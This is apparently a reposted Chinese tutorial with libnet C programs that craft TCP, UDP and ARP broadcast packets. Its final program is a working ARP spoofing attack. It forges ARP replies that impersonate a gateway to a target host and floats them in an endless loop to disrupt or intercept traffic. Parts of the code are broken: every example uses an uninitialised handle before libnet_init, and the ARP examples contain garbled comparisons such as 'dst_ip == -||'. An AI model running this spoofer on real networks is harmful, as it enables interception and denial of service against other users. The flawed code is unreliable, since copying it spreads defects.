libnet發包例子(tcp udp arp廣播)

轉載:libnet發包例子(tcp udp arp廣播) 

TCP:

  1. #include <libnet.h>

  2. int main() {
  3.     libnet_t *handle; /* Libnet句柄 */
  4.     int packet_size; /* 構造的數據包大小 */
  5.     char *device = "eth0"; /* 設備名字,也支持點十進制的IP地址,會自己找到匹配的設備 */
  6.     char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  7.     char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  8.     u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  9.     u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  10.     u_long dst_ip, src_ip; /* 網路序的目的IP和源IP */
  11.     char error[LIBNET_ERRBUF_SIZE]; /* 出錯信息 */
  12.     libnet_ptag_t eth_tag, ip_tag, tcp_tag, tcp_op_tag; /* 各層build函數返回值 */
  13.     u_short proto = IPPROTO_TCP; /* 傳輸層協議 */
  14.     u_char payload[255] = {0}; /* 承載數據的數組,初值爲空 */
  15.     u_long payload_s = 0; /* 承載數據的長度,初值爲0 */

  16.     /* 把目的IP地址字符串轉化成網絡序 */
  17.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  18.     /* 把源IP地址字符串轉化成網絡序 */
  19.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

  20.     /* 初始化Libnet */
  21.     if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  22.         printf("libnet_init failure\n");
  23.         return (-1);
  24.     };

  25.     strncpy(payload, "test", sizeof(payload)-1); /* 構造負載的內容 */
  26.     payload_s = strlen(payload); /* 計算負載內容的長度 */

  27. #if 0
  28.     /* 構建TCP的選項,通常在第一個TCP通信報文中設置MSS */
  29.     tcp_op_tag = libnet_build_tcp_options(
  30.                 payload,
  31.                 payload_s,
  32.                 handle,
  33.                 0
  34.     );
  35.     if (tcp_op_tag == -1) {
  36.         printf("build_tcp_options failure\n");
  37.         return (-2);
  38.     };
  39. #endif

  40.     tcp_tag = libnet_build_tcp(
  41.                 30330,                    /* 源端口 */
  42.                 30331,                    /* 目的端口 */
  43.                 8888,                    /* 序列號 */
  44.                 8889,                    /* 確認號 */
  45.                 TH_PUSH | TH_ACK,        /* Control flags */
  46.                 14600,                    /* 窗口尺寸 */
  47.                 0,                        /* 校驗和,0爲自動計算 */
  48.                 0,                        /* 緊急指針 */
  49.                 LIBNET_TCP_H + payload_s, /* 長度 */
  50.                 payload,                    /* 負載內容 */
  51.                 payload_s,                /* 負載內容長度 */
  52.                 handle,                    /* libnet句柄 */
  53.                 0                        /* 新建包 */
  54.     );
  55.     if (tcp_tag == -1) {
  56.         printf("libnet_build_tcp failure\n");
  57.         return (-3);
  58.     };

  59.     /* 構造IP協議塊,返回值是新生成的IP協議快的一個標記 */
  60.     ip_tag = libnet_build_ipv4(
  61.         LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* IP協議塊的總長,*/
  62.         0, /* tos */
  63.         (u_short) libnet_get_prand(LIBNET_PRu16), /* id,隨機產生0~65535 */
  64.         0, /* frag 片偏移 */
  65.         (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,隨機產生0~255 */
  66.         proto, /* 上層協議 */
  67.         0, /* 校驗和,此時爲0,表示由Libnet自動計算 */
  68.         src_ip, /* 源IP地址,網絡序 */
  69.         dst_ip, /* 目標IP地址,網絡序 */
  70.         NULL, /* 負載內容或爲NULL */
  71.         0, /* 負載內容的大小*/
  72.         handle, /* Libnet句柄 */
  73.         0 /* 協議塊標記可修改或創建,0表示構造一個新的*/
  74.     );
  75.     if (ip_tag == -1) {
  76.         printf("libnet_build_ipv4 failure\n");
  77.         return (-4);
  78.     };

  79.     /* 構造一個以太網協議塊,只能用於LIBNET_LINK */
  80.     eth_tag = libnet_build_ethernet(
  81.         dst_mac, /* 以太網目的地址 */
  82.         src_mac, /* 以太網源地址 */
  83.         ETHERTYPE_IP, /* 以太網上層協議類型,此時爲IP類型 */
  84.         NULL, /* 負載,這裏爲空 */ 
  85.         0, /* 負載大小 */
  86.         handle, /* Libnet句柄 */
  87.         0 /* 協議塊標記,0表示構造一個新的 */ 
  88.     );
  89.     if (eth_tag == -1) {
  90.         printf("libnet_build_ethernet failure\n");
  91.         return (-5);
  92.     };

  93.     packet_size = libnet_write(handle); /* 發送已經構造的數據包*/

  94.     libnet_destroy(handle); /* 釋放句柄 */

  95.     return (0);
  96. }

UDP:
  1. #include <libnet.h>

  2. int main() {
  3.     libnet_t *handle; /* Libnet句柄 */
  4.     int packet_size; /* 構造的數據包大小 */
  5.     char *device = "eth0"; /* 設備名字,也支持點十進制的IP地址,會自己找到匹配的設備 */
  6.     char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  7.     char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  8.     u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  9.     u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  10.     u_long dst_ip, src_ip; /* 網路序的目的IP和源IP */
  11.     char error[LIBNET_ERRBUF_SIZE]; /* 出錯信息 */
  12.     libnet_ptag_t eth_tag, ip_tag, udp_tag; /* 各層build函數返回值 */
  13.     u_short proto = IPPROTO_UDP; /* 傳輸層協議 */
  14.     u_char payload[255] = {0}; /* 承載數據的數組,初值爲空 */
  15.     u_long payload_s = 0; /* 承載數據的長度,初值爲0 */

  16.     /* 把目的IP地址字符串轉化成網絡序 */
  17.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  18.     /* 把源IP地址字符串轉化成網絡序 */
  19.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

  20.     /* 初始化Libnet */
  21.     if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  22.         printf("libnet_init failure\n");
  23.         return (-1);
  24.     };

  25.     strncpy(payload, "test", sizeof(payload)-1); /* 構造負載的內容 */
  26.     payload_s = strlen(payload); /* 計算負載內容的長度 */

  27.     udp_tag = libnet_build_udp(
  28.                 30330, /* 源端口 */
  29.                 30331, /* 目的端口 */
  30.                 LIBNET_UDP_H + payload_s, /* 長度 */
  31.                 0, /* 校驗和,0爲libnet自動計算 */
  32.                 payload, /* 負載內容 */
  33.                 payload_s, /* 負載內容長度 */
  34.                 handle, /* libnet句柄 */
  35.                 0 /* 新建包 */
  36.     );
  37.     if (udp_tag == -1) {
  38.         printf("libnet_build_tcp failure\n");
  39.         return (-3);
  40.     };

  41.     /* 構造IP協議塊,返回值是新生成的IP協議快的一個標記 */
  42.     ip_tag = libnet_build_ipv4(
  43.         LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* IP協議塊的總長,*/
  44.         0, /* tos */
  45.         (u_short) libnet_get_prand(LIBNET_PRu16), /* id,隨機產生0~65535 */
  46.         0, /* frag 片偏移 */
  47.         (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,隨機產生0~255 */
  48.         proto, /* 上層協議 */
  49.         0, /* 校驗和,此時爲0,表示由Libnet自動計算 */
  50.         src_ip, /* 源IP地址,網絡序 */
  51.         dst_ip, /* 目標IP地址,網絡序 */
  52.         NULL, /* 負載內容或爲NULL */
  53.         0, /* 負載內容的大小*/
  54.         handle, /* Libnet句柄 */
  55.         0 /* 協議塊標記可修改或創建,0表示構造一個新的*/
  56.     );
  57.     if (ip_tag == -1) {
  58.         printf("libnet_build_ipv4 failure\n");
  59.         return (-4);
  60.     };

  61.     /* 構造一個以太網協議塊,只能用於LIBNET_LINK */
  62.     eth_tag = libnet_build_ethernet(
  63.         dst_mac, /* 以太網目的地址 */
  64.         src_mac, /* 以太網源地址 */
  65.         ETHERTYPE_IP, /* 以太網上層協議類型,此時爲IP類型 */
  66.         NULL, /* 負載,這裏爲空 */ 
  67.         0, /* 負載大小 */
  68.         handle, /* Libnet句柄 */
  69.         0 /* 協議塊標記,0表示構造一個新的 */ 
  70.     );
  71.     if (eth_tag == -1) {
  72.         printf("libnet_build_ethernet failure\n");
  73.         return (-5);
  74.     };

  75.     packet_size = libnet_write(handle); /* 發送已經構造的數據包*/

  76.     libnet_destroy(handle); /* 釋放句柄 */

  77.     return (0);
  78. }


ARP廣播包:
  1. #include <libnet.h>

  2. int main() {
  3.     libnet_t *handle;        /* Libnet句柄 */
  4.     int packet_size;
  5.     char *device = "eth0";   /* 設備名字,也支持點十進制的IP地址,會自己找到匹配的設備 */
  6.     u_int8_t *src_ip_str = "192.168.128.200";       /* 源IP地址字符串 */
  7.     u_int8_t *dst_ip_str = "192.168.128.88";        /* 目的IP地址字符串 */
  8.     u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x86};/* 源MAC */
  9.     u_int8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};/* 目的MAC,廣播地址 */
  10.     /* 接收方MAC,ARP請求目的就是要詢問對方MAC,所以這裏填寫0 */
  11.     u_int8_t rev_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
  12.     u_int32_t dst_ip, src_ip;              /* 網路序的目的IP和源IP */
  13.     char error[LIBNET_ERRBUF_SIZE];        /* 出錯信息 */
  14.     libnet_ptag_t arp_proto_tag, eth_proto_tag;

  15.     /* 把目的IP地址字符串轉化成網絡序 */
  16.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  17.     /* 把源IP地址字符串轉化成網絡序 */
  18.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

  19.     if ( dst_ip == -|| src_ip == -) {
  20.         printf("ip address convert error\n");
  21.         exit(-1);
  22.     };
  23.     /* 初始化Libnet,注意第一個參數和TCP初始化不同 */
  24.     if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  25.         printf("libnet_init: error [%s]\n", error);
  26.         exit(-2);
  27.     };

  28.     /* 構造arp協議塊 */
  29.     arp_proto_tag = libnet_build_arp(
  30.                 ARPHRD_ETHER,        /* 硬件類型,1表示以太網硬件地址 */ 
  31.                 ETHERTYPE_IP,        /* 0x0800表示詢問IP地址 */ 
  32.                 6,                   /* 硬件地址長度 */ 
  33.                 4,                   /* IP地址長度 */ 
  34.                 ARPOP_REQUEST,       /* 操作方式:ARP請求 */ 
  35.                 src_mac,             /* source MAC addr */ 
  36.                 (u_int8_t *)&src_ip, /* src proto addr */ 
  37.                 rev_mac,             /* dst MAC addr */ 
  38.                 (u_int8_t *)&dst_ip, /* dst IP addr */ 
  39.                 NULL,                /* no payload */ 
  40.                 0,                   /* payload length */ 
  41.                 handle,              /* libnet tag */ 
  42.                 0                    /* Create new one */
  43.     );
  44.     if (arp_proto_tag == -1)    {
  45.         printf("build IP failure\n");
  46.         exit(-3);
  47.     };

  48.     /* 構造一個以太網協議塊
  49.     You should only use this function when 
  50.     libnet is initialized with the LIBNET_LINK interface.*/
  51.     eth_proto_tag = libnet_build_ethernet(
  52.         dst_mac,         /* 以太網目的地址 */
  53.         src_mac,         /* 以太網源地址 */
  54.         ETHERTYPE_ARP,   /* 以太網上層協議類型,此時爲ARP請求 */
  55.         NULL,            /* 負載,這裏爲空 */ 
  56.         0,               /* 負載大小 */
  57.         handle,          /* Libnet句柄 */
  58.         0                /* 協議塊標記,0表示構造一個新的 */ 
  59.     );
  60.     if (eth_proto_tag == -1) {
  61.         printf("build eth_header failure\n");
  62.         return (-4);
  63.     };

  64.     packet_size = libnet_write(handle);    /* 發送已經構造的數據包*/

  65.     libnet_destroy(handle);                /* 釋放句柄 */

  66.     return (0);
  67. }

arp應答包(arp欺騙)
  1. #include <libnet.h>

  2. int main() {
  3.     libnet_t *handle;        /* Libnet句柄 */
  4.     int packet_size;
  5.     char *device = "eth0";    /* 設備名字,也支持點十進制的IP地址,會自己找到匹配的設備 */
  6.     u_int8_t *src_ip_str = "192.168.2.30";        /* 冒充的網關IP */
  7.     u_int8_t *dst_ip_str = "192.168.2.170";        /* 干擾的目標IP */
  8.     u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x11};/* 虛假的源MAC */
  9.     u_int8_t dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c};/* 干擾的目標MAC */
  10.     u_int32_t dst_ip, src_ip;                /* 網路序的目的IP和源IP */
  11.     char error[LIBNET_ERRBUF_SIZE];        /* 出錯信息 */
  12.     libnet_ptag_t arp_proto_tag, eth_proto_tag;

  13.     /* 把目的IP地址字符串轉化成網絡序 */
  14.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  15.     /* 把源IP地址字符串轉化成網絡序 */
  16.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

  17.     if ( dst_ip == -|| src_ip == -) {
  18.         printf("ip address convert error\n");
  19.         exit(-1);
  20.     };
  21.     /* 初始化Libnet,注意第一個參數和TCP初始化不同 */
  22.     if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  23.         printf("libnet_init: error [%s]\n", error);
  24.         exit(-2);
  25.     };

  26.     /* 構造arp協議塊 */
  27.     arp_proto_tag = libnet_build_arp(
  28.                 ARPHRD_ETHER,        /* 硬件類型,1表示以太網硬件地址 */ 
  29.                 ETHERTYPE_IP,        /* 0x0800表示詢問IP地址 */ 
  30.                 6,                    /* 硬件地址長度 */ 
  31.                 4,                    /* IP地址長度 */ 
  32.                 ARPOP_REPLY,        /* 操作方式:ARP請求 */ 
  33.                 src_mac,                /* source MAC addr */ 
  34.                 (u_int8_t *)&src_ip,    /* src proto addr */ 
  35.                 dst_mac,                /* dst MAC addr */ 
  36.                 (u_int8_t *)&dst_ip,    /* dst IP addr */ 
  37.                 NULL,                /* no payload */ 
  38.                 0,                    /* payload length */ 
  39.                 handle,                /* libnet tag */ 
  40.                 0                    /* Create new one */
  41.     );
  42.     if (arp_proto_tag == -1)    {
  43.         printf("build IP failure\n");
  44.         exit(-3);
  45.     };

  46.     /* 構造一個以太網協議塊
  47.     You should only use this function when 
  48.     libnet is initialized with the LIBNET_LINK interface.*/
  49.     eth_proto_tag = libnet_build_ethernet(
  50.         dst_mac,            /* 以太網目的地址 */
  51.         src_mac,            /* 以太網源地址 */
  52.         ETHERTYPE_ARP,    /* 以太網上層協議類型,此時爲ARP請求 */
  53.         NULL,            /* 負載,這裏爲空 */ 
  54.         0,                /* 負載大小 */
  55.         handle,            /* Libnet句柄 */
  56.         0                /* 協議塊標記,0表示構造一個新的 */ 
  57.     );
  58.     if (eth_proto_tag == -1)    {
  59.         printf("build eth_header failure\n");
  60.         return (-4);
  61.     };

  62.     while(1) {
  63.         packet_size = libnet_write(handle);        /* 死循環發送arp欺騙廣播 */
  64.         usleep(1000);
  65.     };

  66.     libnet_destroy(handle);                /* 釋放句柄 */

  67.     return (0);
  68. }

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章